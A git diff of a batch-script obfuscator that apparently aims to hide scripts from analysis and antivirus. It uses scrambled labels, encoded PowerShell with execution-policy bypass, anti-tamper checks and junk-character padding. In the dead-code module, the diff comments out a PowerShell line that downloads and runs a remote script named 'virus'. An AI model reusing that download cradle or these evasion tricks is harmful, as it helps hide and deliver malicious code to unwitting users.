็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็" for array in entire_array: if random.randint(1, 8) == 1: - scated = uni - new_string = [f"::{scated}\n"] + new_string = [f"::{uni}\n"] entire_array.insert(entire_array.index(array), new_string) return entire_array diff --git a/src/util/methods/custom/parsed_methods/command_wrapers_universal/command_wrappers.py b/src/util/methods/custom/parsed_methods/command_wrapers_universal/command_wrappers.py deleted file mode 100644 index 29ad3e8..0000000 --- a/src/util/methods/custom/parsed_methods/command_wrapers_universal/command_wrappers.py +++ /dev/null @@ -1,115 +0,0 @@ -import random - - -class CommandWrappers: - """ - A class that contains methods for wrapping commands in various ways. - """ - - def __init__(self) -> None: - pass - - @staticmethod - def main(command: str): - """ - A method that randomly chooses one of the available command wrappers and applies it to the given command. - - Args: - command (str): The command to wrap. - - Returns: - str: The wrapped command. - """ - chocies = [ - CommandWrappers.for_loop, - CommandWrappers.outside_command, - # CommandWrappers.var_command, - ] - - return random.choice(chocies)(command) - - @staticmethod - def for_loop(command: str): - """ - A method that wraps the given command in a for loop. - - Args: - command (str): The command to wrap. - - Returns: - str: The wrapped command. - """ - ran_num = random.randint(1, 100) - loops = [ - f"for /l %%X in ( {ran_num} , {ran_num} , {ran_num} ) do ( {command} )", - ] - return random.choice(loops) - - @staticmethod - def outside_command(command: str): - """ - A method that wraps the given command in a block of code that runs before the command. - - Args: - command (str): The command to wrap. - - Returns: - str: The wrapped command. - """ - commands = [ - # f"echo KDOT WAS HERE ^\nexit > nul\n{command}", - f"if exist %temp% {command}", - f"if exist %appdata% {command}", - ] - - return random.choice(commands) - - @staticmethod - def var_command(command: str): - """ - A method that wraps the given command in an environment variable. - - Args: - command (str): The command to wrap. - - Returns: - str: The wrapped command. - """ - public = r"C:\Users\Public" - weird = r"C:\Program Files (x86)\Common Files" - program_1 = r"C:\Program Files" - program_2 = r"C:\Program Files (x86)" - driver_stuff = r"C:\Windows\System32\Drivers\DriverData" - pathext = r".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC" - CommonProgramFiles = r"C:\Program Files\Common Files" - CommonProgramFiles_x86 = r"C:\Program Files (x86)\Common Files" - CommonProgramW6432 = r"C:\Program Files\Common Files" - list_of_all = [ - public, - weird, - program_1, - program_2, - driver_stuff, - pathext, - CommonProgramFiles, - CommonProgramFiles_x86, - CommonProgramW6432, - ] - corresponding = [ - "PUBLIC", - "COMMONPROGRAMFILES(X86)", - "PROGRAMFILES", - "PROGRAMFILES(X86)", - "DRIVERDATA", - "PATHEXT", - "COMMONPROGRAMFILES", - "COMMONPROGRAMFILES(X86)", - "COMMONPROGRAMW6432", - ] - - random_path = random.choice(corresponding) - corresponding_index = corresponding.index(random_path) - out = list_of_all[corresponding_index] - valid_text = f"%{random_path}:{out}=%{command}" - - return valid_text diff --git a/src/util/methods/custom/parsed_methods/echo_bat.py b/src/util/methods/custom/parsed_methods/echo_bat.py deleted file mode 100644 index 09757c0..0000000 --- a/src/util/methods/custom/parsed_methods/echo_bat.py +++ /dev/null @@ -1,80 +0,0 @@ -import random -import base64 - -from util.obfuscation.obf_oneline import Obfuscate_Single - - -class EchoBat: - @staticmethod - def echo_bat(parsed_code: dict) -> str: - """ - This method takes a dictionary of parsed code and returns an obfuscated version of the code. - If any of the bad_checks are true or any of the valid_checks are false, it returns an obfuscated version of the code. - If the command length is invalid, it raises a ValueError. - Otherwise, it randomly selects an obfuscation method and returns the obfuscated code. - """ - bad_checks = [ - parsed_code["echo_to_file"], - parsed_code["get_from_file"], - parsed_code["variable"], - ] - valid_checks = [ - parsed_code["valid_command_length"], - ] - - # check if any of the bad_checks are true or any of the valid_checks are false - if any(bad_checks): - return Obfuscate_Single(parsed_code["raw"]).out() - - if not all(valid_checks): - raise ValueError(f"Invalid command length. Command == {parsed_code['raw']}") - - obfuscation_methods = [ - # self.label_method, - # self.label_method2, - EchoBat.powershell_method_enc, - # self.mshta_method, - ] - - random_method = random.choice(obfuscation_methods) - return f"{EchoBat.random_scramble()}{random_method(parsed_code)}" - - @staticmethod - def label_method(parsed_code: dict) -> str: - """ - This method takes a dictionary of parsed code and returns a string. - It is currently unused. - """ - return 0 - - @staticmethod - def label_method2(parsed_code: dict) -> str: - """ - This method takes a dictionary of parsed code and returns a string. - It is currently unused. - """ - return 0 - - @staticmethod - def powershell_method_enc(parsed_code: dict) -> str: - """ - This method takes a dictionary of parsed code and returns an obfuscated version of the code using PowerShell. - """ - code = parsed_code["raw"] - code = code.replace("echo", "Write-Host") - base64_utf_16_le_encoded_command = base64.b64encode(code.encode("utf-16-le")).decode("utf-8") - powershell_options = [ - f"powershell.exe -ep bypass -noni -nop -e {base64_utf_16_le_encoded_command} || break\n", - ] - - return Obfuscate_Single(random.choice(powershell_options)).out() - - @staticmethod - def random_scramble() -> str: - """ - This method returns a string that is either "%TO_SCRAMBLE_PLZ%" or an empty string, depending on a random chance. - """ - random_chance = random.choice([True, False]) - if random_chance: - return "%TO_SCRAMBLE_PLZ%" - return "" diff --git a/src/util/methods/custom/parsed_methods/for_bat.py b/src/util/methods/custom/parsed_methods/for_bat.py deleted file mode 100644 index cdebcb2..0000000 --- a/src/util/methods/custom/parsed_methods/for_bat.py +++ /dev/null @@ -1,4 +0,0 @@ -class ForBat: - @staticmethod - def for_bat(parsed_code: dict) -> str: - return 0 diff --git a/src/util/methods/custom/parsed_methods/if_bat.py b/src/util/methods/custom/parsed_methods/if_bat.py deleted file mode 100644 index 6367711..0000000 --- a/src/util/methods/custom/parsed_methods/if_bat.py +++ /dev/null @@ -1,14 +0,0 @@ -import re -from util.obfuscation.obf_oneline import Obfuscate_Single - - -class IfBat: - @staticmethod - def if_bat(parsed_code: dict) -> str: - raw_code = parsed_code["raw"] - regex = r"if [^)]* (.*\n)+.*\)" - if re.search(regex, raw_code): - print(raw_code) - return Obfuscate_Single(raw_code).out() - else: - return raw_code diff --git a/src/util/methods/custom/parsed_methods/set_bat.py b/src/util/methods/custom/parsed_methods/set_bat.py deleted file mode 100644 index 3cb066e..0000000 --- a/src/util/methods/custom/parsed_methods/set_bat.py +++ /dev/null @@ -1,44 +0,0 @@ -import random - -from util.methods.custom.parsed_methods.command_wrapers_universal.command_wrappers import CommandWrappers - -from util.methods.common.common import escape_batch, make_random_string, random_scramble - -from util.obfuscation.obf_oneline import Obfuscate_Single - - -class SetBat: - @staticmethod - def set_bat(parsed_code: dict) -> str: - command = parsed_code["raw"] - command = command.strip() - - # if "/a" or "/p" in args.lower(): - # return Obfuscate_Single(CommandWrappers.outside_command(args)).out() - - methods = [ - # SetBat.for_loop, - SetBat.if_statement, - # SetBat.ads, - ] - - return random.choice(methods)(command) - - @staticmethod - def for_loop(args: str) -> str: - return random_scramble() + Obfuscate_Single(CommandWrappers.for_loop(command=args), False).out() + "\n" - - @staticmethod - def if_statement(args: str) -> str: - return random_scramble() + Obfuscate_Single(CommandWrappers.outside_command(command=args), False).out() + "\n" - - @staticmethod - def ads(args: str) -> str: - command = args.split()[0] - good_args = escape_batch(command) - - random_num1 = random.randint(100, 10000) - random_char = make_random_string((1, 1), False) - - struct = f'echo {good_args} > %~f0:{random_num1}\nfor /f "usebackq delims=φ" %%{random_char} in (%~f0:{random_num1}) do %%{random_char}\n' - return Obfuscate_Single(random_scramble() + struct).out() diff --git a/src/util/methods/dead_code/dead_code.py b/src/util/methods/dead_code/dead_code.py index a2b1ba0..d6786e7 100644 --- a/src/util/methods/dead_code/dead_code.py +++ b/src/util/methods/dead_code/dead_code.py @@ -130,10 +130,10 @@ def if_statement() -> str: examples = [ f"if %random% equ {RANNUM} ( {DeadCode.random_commands()} ) else ( {good} )", f"if not 0 neq 0 ( {good} ) else ( {DeadCode.random_commands()} )", - f"if exist C:\Windows\System32 ( {good} ) else ( {DeadCode.random_commands()} )", + f"if exist C:\\Windows\\System32 ( {good} ) else ( {DeadCode.random_commands()} )", f"if not %cd% == %cd% ( {DeadCode.random_commands()} ) else ( {good} )", f"if 0 equ 0 ( {good} ) else ( {DeadCode.random_commands()} )", - f"if exist C:\Windows\System3 ( {DeadCode.random_commands()} ) else ( {good} )", + f"if exist C:\\Windows\\System3 ( {DeadCode.random_commands()} ) else ( {good} )", f"if %cd% == %cd% ( {good} ) else ( {DeadCode.random_commands()} )", f"if chcp leq 1 ( {DeadCode.random_commands()} ) else ( {good} )", f"if %CD% == %__CD__% ( {DeadCode.random_commands()} ) else ( {good} )", @@ -155,7 +155,7 @@ def for_loop() -> str: @staticmethod def powershell_command() -> str: commands = [ - "powershell.exe -nop -c \"iex(new-object net.webclient).downloadstring('https://sped.lol/powershell/virus')\"", + # "powershell.exe -nop -c \"iex(new-object net.webclient).downloadstring('https://sped.lol/powershell/virus')\"", 'powershell.exe -nop -c "Write-Host -NoNewLine $null"', ] diff --git a/src/util/methods/encryption_methods/cesar_cypher.py b/src/util/methods/encryption_methods/cesar_cypher.py index 9fdd1eb..1cd049b 100644 --- a/src/util/methods/encryption_methods/cesar_cypher.py +++ b/src/util/methods/encryption_methods/cesar_cypher.py @@ -1,6 +1,8 @@ import string import random +from util.methods.common.common import random_semi_and_comma, random_single_carrot, random_space_ammount + class CaesarCipher: @staticmethod @@ -52,6 +54,7 @@ def upper(rotation_value: int) -> str: """ alphabet = list(string.ascii_uppercase) rotated_alphabet = alphabet[rotation_value:] + alphabet[:rotation_value] + # cipher_pairs = [f"""{CaesarCipher.get_random_scramble()}{CaesarCipherHelper.add_on(f'{random_semi_and_comma()}{random_single_carrot('set')}{random_space_ammount()}"{rotated_alphabet[i]}1={c}"')}\n""" for i, c in enumerate(alphabet)] cipher_pairs = [f"""{CaesarCipher.get_random_scramble()}{CaesarCipherHelper.add_on(f'set "{rotated_alphabet[i]}1={c}"')}\n""" for i, c in enumerate(alphabet)] return "".join(cipher_pairs) @@ -90,8 +93,10 @@ def __init__(self) -> None: @staticmethod def add_on(string: str) -> str: + random_num = CaesarCipherHelper.get_random_number_var(1, 1000) + random_var = CaesarCipherHelper.get_random_string_var(1) valid_commands = [ - f"for /l %%{CaesarCipherHelper.get_random_string_var(1)} in ({CaesarCipherHelper.get_random_number_var(1, 10)}, {CaesarCipherHelper.get_random_number_var(1, 10)}, {CaesarCipherHelper.get_random_number_var(21, 100)}) do ( {string} )", + f"for /l %%{random_var} in ({random_num}, {random_num}, {random_num}) do ( {string} )", # f"for /f %%{CaesarCipherHelper.get_random_string_var(1)} in ('dir /b') do ( {string} )", f"{string}", ] diff --git a/src/util/methods/math_methods/bit_math.py b/src/util/methods/math_methods/bit_math.py index 3d47a65..8a03221 100644 --- a/src/util/methods/math_methods/bit_math.py +++ b/src/util/methods/math_methods/bit_math.py @@ -4,8 +4,6 @@ class Bit_Math: def generate_math_problem(self, answer: int) -> tuple: - # return 1 = problem, 2 = answer - answer_nums = list(primefac.primefac(answer)) for index, num in enumerate(answer_nums): @@ -16,19 +14,11 @@ def generate_math_problem(self, answer: int) -> tuple: count = answer_nums.count(num1) if count >= 6: - # remove all occurences of num1 - for _ in range(count): - answer_nums.remove(num1) - num1 = num1**count - answer_nums = [num1] + answer_nums + answer_nums = [num1**count] + answer_nums[count:] - for item in answer_nums: - if isinstance(item, int): - index = answer_nums.index(item) - answer_nums[index] = random_oct_hex(int(item)) + answer_nums = [random_oct_hex(int(item)) if isinstance(item, int) else item for item in answer_nums] result = " * ".join(str(i) for i in answer_nums) - result = result.replace(" ", "") return (result, answer) @@ -39,40 +29,27 @@ def random_pick(self, num, hex_check=True) -> str: self.make_not, self.random_bit_shift, ] - # chances 2 to 1 return random.choice(choices)(num, hex_check=hex_check) @staticmethod def make_xor(number: int, hex_check: bool = True) -> str: - """makes xor key""" ans = number if ans < 0: return random_oct_hex(ans) binary_string = bin(ans)[2:] - - choices = [0, 1] - - random_binary = [random.choice(choices) for i in range(len(binary_string))] - - random2 = "".join(str(i) for i in random_binary) - random2 = int(random2, 2) - - # me asf when xor dont wanna be bae + random_binary = [random.choice([0, 1]) for _ in range(len(binary_string))] + random2 = int("".join(str(i) for i in random_binary), 2) fixed2 = random2 ^ ans + if hex_check: return f"({random_oct_hex(random2)} ^^ {random_oct_hex(fixed2)})" - # random2 = X - # fixed2 = Y - # return f"({random2} ^| {fixed2}) - ({random2} ^& {fixed2})" else: return f"({hex(random2)} ^^ {hex(fixed2)})" @staticmethod def make_not(number: int, *args, **kwargs) -> str: - """makes and key""" - ans = number if ans < 0: @@ -83,14 +60,12 @@ def make_not(number: int, *args, **kwargs) -> str: @staticmethod def random_bit_shift(number: int, hex_check: bool = True) -> str: - """makes shift left key""" ans = number if ans < 0: return random_oct_hex(number) random_number_through = random.choice(list(range(2, 10))) - generated = ans << random_number_through if generated > 25: diff --git a/src/util/obfuscation/obf_oneline.py b/src/util/obfuscation/obf_oneline.py index 5627c61..e57e964 100644 --- a/src/util/obfuscation/obf_oneline.py +++ b/src/util/obfuscation/obf_oneline.py @@ -126,7 +126,7 @@ def obfuscate_normal(self, line: str) -> str: pathext = r".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC" CommonProgramFiles = r"C:\Program Files\Common Files" CommonProgramW6432 = r"C:\Program Files\Common Files" - __APPDIR__ = "C:\Windows\system32\\" + __APPDIR__ = "C:\\Windows\\system32\\" options = { public: "PUBLIC", @@ -189,28 +189,22 @@ def obfuscate_simple(self, char_line: str) -> str: for word in char_line.split(): if word.startswith("%TO_SCRAMBLE_PLZ%"): final_string += f"{word} " - continue - if word.startswith(":"): + elif word.startswith(":"): final_string += f"{word} " - continue - if word.startswith("%"): + elif word.startswith("%"): final_string += f"{word} " - continue - if word.find("%~") != -1: + elif word.find("%~") != -1: final_string += f"{word} " - continue - if word.startswith("^") and not self.ignore_carrots: + elif word.startswith("^") and not self.ignore_carrots: final_string += f"{word} " - continue - if word.startswith("::"): - continue - if re.match(regex_bat, word): + elif word.startswith("::"): + pass + elif re.match(regex_bat, word): final_string += f"{word} " - continue - if re.match(regex2, word): + elif re.match(regex2, word): final_string += f"{word} " - continue - for char in word: - final_string += f"%{make_random_string((7, 9), special_chars=False)}%{char}%{make_random_string((7, 9), special_chars=False)}%" + else: + for char in word: + final_string += f"%{make_random_string((7, 9), special_chars=False)}%{char}%{make_random_string((7, 9), special_chars=False)}%" final_string += " " return final_string diff --git a/src/util/obfuscation/obfuscate.py b/src/util/obfuscation/obfuscate.py index 1f08872..b2b7fad 100644 --- a/src/util/obfuscation/obfuscate.py +++ b/src/util/obfuscation/obfuscate.py @@ -3,10 +3,8 @@ import random import string -import BatchParse - from util.obfuscation.obf_oneline import Obfuscate_Single -from util.obfuscation.rans import ran1, ran2, ran3 +from util.obfuscation.rans import ran1, ran2 from util.obfuscation.scrambler import Scrambler from util.supporting.gens import c_val @@ -20,11 +18,6 @@ from util.methods.encryption_methods.cesar_cypher import CaesarCipher -from util.methods.custom.parsed_methods.echo_bat import EchoBat -from util.methods.custom.parsed_methods.for_bat import ForBat -from util.methods.custom.parsed_methods.if_bat import IfBat -from util.methods.custom.parsed_methods.set_bat import SetBat - from util.methods.dead_code.dead_code import DeadCode from rich.progress import SpinnerColumn, Progress, TimeElapsedColumn @@ -99,7 +92,7 @@ def obfuscate(self, file): # fmt: off self.common_env_vars = [ - r"%ALLUSERSPROFILE%", r"%APPDATA%", r"%CD%", r"%CMDCMDLINE%", r"%CMDEXTVERSION%", r"%COMPUTERNAME%", r"%COMSPEC%", r"%DATE%", r"%ERRORLEVEL%", r"%HOMEDRIVE%", r"%HOMEPATH%", r"%NUMBER_OF_PROCESSORS%", r"%OS%", r"%PATH%", r"%PATHEXT%", r"%PROCESSOR_ARCHITECTURE%", r"%PROCESSOR_LEVEL%", r"%PROCESSOR_REVISION%", r"%PROMPT%", r"%RANDOM%", r"%SYSTEMDRIVE%", r"%SYSTEMROOT%", r"%TMP%", r"%TEMP%", r"%TIME%", r"%USERDOMAIN%", r"%USERNAME%", r"%USERPROFILE%", r"%WINDIR%", + r"%ALLUSERSPROFILE%", r"%APPDATA%", r"%CD%", r"%CMDCMDLINE%", r"%CMDEXTVERSION%", r"%COMPUTERNAME%", r"%COMSPEC%", r"%DATE%", r"%ERRORLEVEL%", r"%HOMEDRIVE%", r"%HOMEPATH%", r"%NUMBER_OF_PROCESSORS%", r"%OS%", r"%PATH%", r"%PATHEXT%", r"%PROCESSOR_ARCHITECTURE%", r"%PROCESSOR_LEVEL%", r"%PROCESSOR_REVISION%", r"%PROMPT%", r"%RANDOM%", r"%SYSTEMDRIVE%", r"%SYSTEMROOT%", r"%TMP%", r"%TEMP%", r"%TIME%", r"%USERDOMAIN%", r"%USERNAME%", r"%USERPROFILE%", r"%WINDIR%", r"%localappdata%", r"%0", r"%1", r"%2", r"%3", r"%4", r"%5", r"%6", r"%7", r"%8", r"%9", r"%*", r"%~dp0", r"%~dp1", r"%~dp2", r"%~dp3", r"%~dp4", r"%~dp5", r"%~dp6", r"%~dp7", r"%~dp8", r"%~dp9", r"%~f0", r"%~f1", r"%~f2", r"%~f3", r"%~f4", r"%~f5", r"%~f6", r"%~f7", r"%~f8", r"%~f9", r"%~nx0", r"%~nx1", r"%~nx2", r"%~nx3", r"%~nx4", r"%~nx5", r"%~nx6", r"%~nx7", r"%~nx8", r"%~nx9", r"%~s0", r"%~s1", r"%~s2", r"%~s3", r"%~s4", r"%~s5", r"%~s6", r"%~s7", r"%~s8", r"%~s9", r"%~t0", r"%~t1", r"%~t2", r"%~t3", r"%~t4", r"%~t5", r"%~t6", r"%~t7", r"%~t8", r"%~t9", r"%~x0", r"%~x1", r"%~x2", r"%~x3", r"%~x4", r"%~x5", r"%~x6", r"%~x7", r"%~x8", r"%~x9", r"%~a0", r"%~dpn0",r"%~dpnx0", ] @@ -107,10 +100,9 @@ def obfuscate(self, file): self.used_env_vars = [] - for env_var in self.common_env_vars: - if env_var in self.data: - log.info(f"Found env var: {env_var}") - self.used_env_vars.append(env_var) + for line in self.data: + if any(env_var.lower() in line.lower() for env_var in self.common_env_vars): + self.used_env_vars.append([env_var for env_var in self.common_env_vars if env_var.lower() in line.lower()][0]) with open(self.new_file, "a+", encoding="utf8", errors="ignore") as f: f.write(random_capitalization("\n::Made by K.Dot using SomalifuscatorV2\n")) @@ -134,8 +126,7 @@ def obfuscate(self, file): regex_bat = re.compile(r"\w+=[^=]*%\w+%\b|\w+=[^=]*%\w+%\B") regex2 = re.compile(r"%(\w+)%") - - PARSE_CODE = BatchParse.parse_heavy(self.data, bsplit_and=False) + regex_batch_variable = re.compile(r"(? None: f.writelines(array) def convert_code_chunk_and_write_bytes(self, code_chunk: list) -> None: - out_hex = [] - out_hex.extend(["FF", "FE", "26", "63", "6C", "73", "0D", "0A", "FF", "FE"]) + out_hex = ["FF", "FE", "26", "63", "6C", "73", "0D", "0A", "FF", "FE"] self.write_code_chunk(code_chunk) with open(self.new_file, "rb") as f: code = f.read() - out_hex.extend(["{:02X}".format(b) for b in code]) + code = bytes.fromhex("".join(out_hex)) + code with open(self.new_file, "wb") as f: - for i in out_hex: - f.write(bytes.fromhex(i)) + f.write(code) @staticmethod def add_scramble(code) -> str: diff --git a/src/util/obfuscation/rans.py b/src/util/obfuscation/rans.py index 83123f9..ea64d61 100644 --- a/src/util/obfuscation/rans.py +++ b/src/util/obfuscation/rans.py @@ -63,7 +63,7 @@ def ran2(char, random_order: str, return_ran1: bool = True, *args, **kwargs) -> CommonProgramFiles = r"C:\Program Files\Common Files" CommonProgramFiles_x86 = r"C:\Program Files (x86)\Common Files" CommonProgramW6432 = r"C:\Program Files\Common Files" - __APPDIR__ = "C:\Windows\system32\\" + __APPDIR__ = "C:\\WINDOWS\\system32\\" list_of_all = [ public, weird, @@ -74,7 +74,7 @@ def ran2(char, random_order: str, return_ran1: bool = True, *args, **kwargs) -> CommonProgramFiles, CommonProgramFiles_x86, CommonProgramW6432, - __APPDIR__, + # __APPDIR__, ] corosponding = [ "PUBLIC", @@ -86,7 +86,7 @@ def ran2(char, random_order: str, return_ran1: bool = True, *args, **kwargs) -> "COMMONPROGRAMFILES", "COMMONPROGRAMFILES(X86)", "COMMONPROGRAMW6432", - "__APPDIR__", + # "__APPDIR__", ] new_lists = [] char_counter = 0 diff --git a/src/util/obfuscation/scrambler.py b/src/util/obfuscation/scrambler.py index 8952bcf..0811add 100644 --- a/src/util/obfuscation/scrambler.py +++ b/src/util/obfuscation/scrambler.py @@ -5,12 +5,14 @@ from util.obfuscation.obf_oneline import Obfuscate_Single from util.methods.anti_methods.anti_changes import AntiChanges +from util.supporting.settings import log + class Scrambler: def __init__(self): self.scramble_regex = r":[0-9]+" - def scramble(self, code: list) -> list: + def scramble(self, code: list, checks: bool = True) -> list: """Take a list or arrays and scramble the ones that can be scrambled. This is the main function for this class. Args: @@ -19,6 +21,7 @@ def scramble(self, code: list) -> list: Returns: list: Returns a working scrambled list """ + self.checks = checks self.before_code_array = [] self.after_code_array = [] self.dict_parser = {} @@ -40,7 +43,7 @@ def scramble(self, code: list) -> list: self.shuffler(self.after_code_array) # we need to add "goto :EOF" that way the last line of code doesn't repeat forever - self.before_code_array.append(f"goto :EOF\n") + self.before_code_array.append("goto :EOF\n") self.after_code_array = self.flood(self.after_code_array) @@ -52,7 +55,7 @@ def full_scramble(self, line: str) -> str: # pointer value is our first pointer that we are saving and using as the base of the label pointer_value = random.randint(100000, 1000000) while pointer_value in self.used_pointers: - pointer_value = pointer_value = random.randint(100000, 1000000) + pointer_value = random.randint(100000, 1000000) self.used_pointers.append(pointer_value) # the escape label is the label that we are using to go back to the normal part of our script after we are done with the scrambled part @@ -74,7 +77,10 @@ def full_scramble(self, line: str) -> str: second_set_command = Obfuscate_Single(f":{pointer_value}\n", simple=False).out() lined = f"{line}\n" - last = Obfuscate_Single(f"set /a ans={math_problem2}\n{self.random_anti_method()}goto %ans%\n", simple=False).out() + if self.checks: + last = Obfuscate_Single(f"set /a ans={math_problem2}\n{self.random_anti_method()}goto %ans%\n", simple=False).out() + else: + last = Obfuscate_Single(f"set /a ans={math_problem2}\ngoto %ans%\n", simple=False).out() # we make this a array so we can scramble it later and so it won't interfere with any of the other code and stay in its own place label_code = [second_set_command + lined + last] @@ -86,11 +92,8 @@ def full_scramble(self, line: str) -> str: def shuffler(self, list_to_shuffle: list) -> list: # returns the list shuffled and turned back into one list instead of a list of lists - out_array = [] - random.shuffle(list_to_shuffle) - for array in list_to_shuffle: - out_array += str(array) - return out_array + out_array = random.sample(list_to_shuffle, len(list_to_shuffle)) + return [str(array) for array in out_array] def flood(self, code_arrays: list) -> list: self.good_values = {} @@ -115,7 +118,9 @@ def flood(self, code_arrays: list) -> list: @staticmethod def random_anti_method() -> str: - random_chance = random.randint(1, 15) + random_chance = random.randint(1, 5) if random_chance == 1: - return f"{AntiChanges.tests()}\n" + use = AntiChanges.tests() + log.debug(f"Using {use[1]} as anti method") + return f"{use[0]}\n" return "" diff --git a/src/util/ui/new_ui.py b/src/util/ui/new_ui.py new file mode 100644 index 0000000..e7ba3da --- /dev/null +++ b/src/util/ui/new_ui.py @@ -0,0 +1,76 @@ +from dataclasses import dataclass + +from textual.app import App, ComposeResult +from textual.containers import Container, Horizontal, ScrollableContainer +from textual.widgets import Footer, Header, Button, Static, Placeholder, Pretty, RichLog +from textual.events import Print +from textual.reactive import Reactive +from textual.binding import Binding +from rich.syntax import Syntax +from textual import work + + +@dataclass +class settings: + debug: bool = False + + +class Code_Console1(Static): + code: str = Reactive("test") + + def compose(self) -> ComposeResult: + yield RichLog(highlight=True, markup=True) + + +class Code_Console2(Static): + def compose(self) -> ComposeResult: + with open("tests\\test_1.bat", "r") as f: + code = f.read() + yield Static( + Syntax(code, "bat", theme="monokai", line_numbers=True, word_wrap=True), + ) + + +class Obfuscator(Static): + def compose(self) -> ComposeResult: + yield Button("Obfuscate", id="start", variant="success") + + +class SomalifuscatorV2(App): + CSS_PATH = "style.tcss" + BINDINGS = [Binding("d", "toggle_debug", "Toggle Debug")] + + def on_button_pressed(self, event: Button.Pressed) -> None: + if event.button.id == "start": + print("Obfuscating") + else: + print("Unknown button pressed!") + + def compose(self) -> ComposeResult: + yield Header() + yield Footer() + with Container(id="MainContainer"): + yield Horizontal( + ScrollableContainer(Code_Console1()), + ScrollableContainer(Code_Console2()), + ) + yield Obfuscator() + + def action_toggle_debug(self) -> None: + settings.debug = not settings.debug + print(f"Debug is now {settings.debug}") + + def on_print(self, event: Print) -> None: + self.query_one(RichLog).write(event.text) + + def on_mount(self) -> None: + self.run_my_worker() + + @work(thread=True) + def run_my_worker(self): + self.begin_capture_print(self, True, True) + + +if __name__ == "__main__": + app = SomalifuscatorV2() + app.run() diff --git a/src/util/ui/style.tcss b/src/util/ui/style.tcss new file mode 100644 index 0000000..2a2a9e8 --- /dev/null +++ b/src/util/ui/style.tcss @@ -0,0 +1,16 @@ +Screen { + overflow: auto; +} + +Horizontal { + height: 80%; + width: auto; + align: center middle; +} + +Obfuscator { + width: 100%; + height: 20%; + align: center middle; + display: block; +} \ No newline at end of file diff --git a/test_all.py b/test_all.py index cc93a56..78e6120 100644 --- a/test_all.py +++ b/test_all.py @@ -118,9 +118,13 @@ def check_output(self, file_path, new_file_path, *args, **kwargs): with open("output1.txt", "r", encoding="utf8") as f: a = [line.rstrip("\n") for line in f] with open("output2.txt", "r", encoding="utf8") as f: - b = [line.rstrip("\n") for line in f] + b = [line.rstrip("\n") for line in f] # Remove leading space from each line - differ = difflib.unified_diff(a, b, lineterm="") + # remove trailing spaces from a and b + a = [line.strip() for line in a] + b = [line.strip() for line in b] + + differ = difflib.unified_diff(a, b, lineterm="", n=3) differences = list(differ) if not differences: @@ -128,6 +132,7 @@ def check_output(self, file_path, new_file_path, *args, **kwargs): else: differences = "\n".join(differences) table.add_row(file_path, "[red]Obfuscated Incorrectly[/red]", differences) + input() os.remove("output1.txt") os.remove("output2.txt") diff --git a/tests/test_12.bat b/tests/test_12.bat index e4c7f89..5da3d1c 100644 --- a/tests/test_12.bat +++ b/tests/test_12.bat @@ -1,8 +1,10 @@ @echo off -echo %0 %~f0 +echo %~dp0 %~dp0 -if "test" == "test" ( +set "test=test" + +if "%test%" == "test" ( echo test 1 echo test 2 ) diff --git a/tests/tests_full/test_10.bat b/tests/tests_full/test_10.bat deleted file mode 100644 index 4ed1dbf..0000000 --- a/tests/tests_full/test_10.bat +++ /dev/null @@ -1,17 +0,0 @@ -@echo off -SETLOCAL EnableDelayedExpansion - -set first=first -set "second=second" - -set "_var=first" -set "_var=second" & Echo %_var% !_var! - -set third=third -set "fourth=fourth" - -echo %first% %second% %third% %fourth% -echo %first% %second% %third% %fourth% -echo %first% %second% %third% %fourth% - -exit /b 0 \ No newline at end of file diff --git 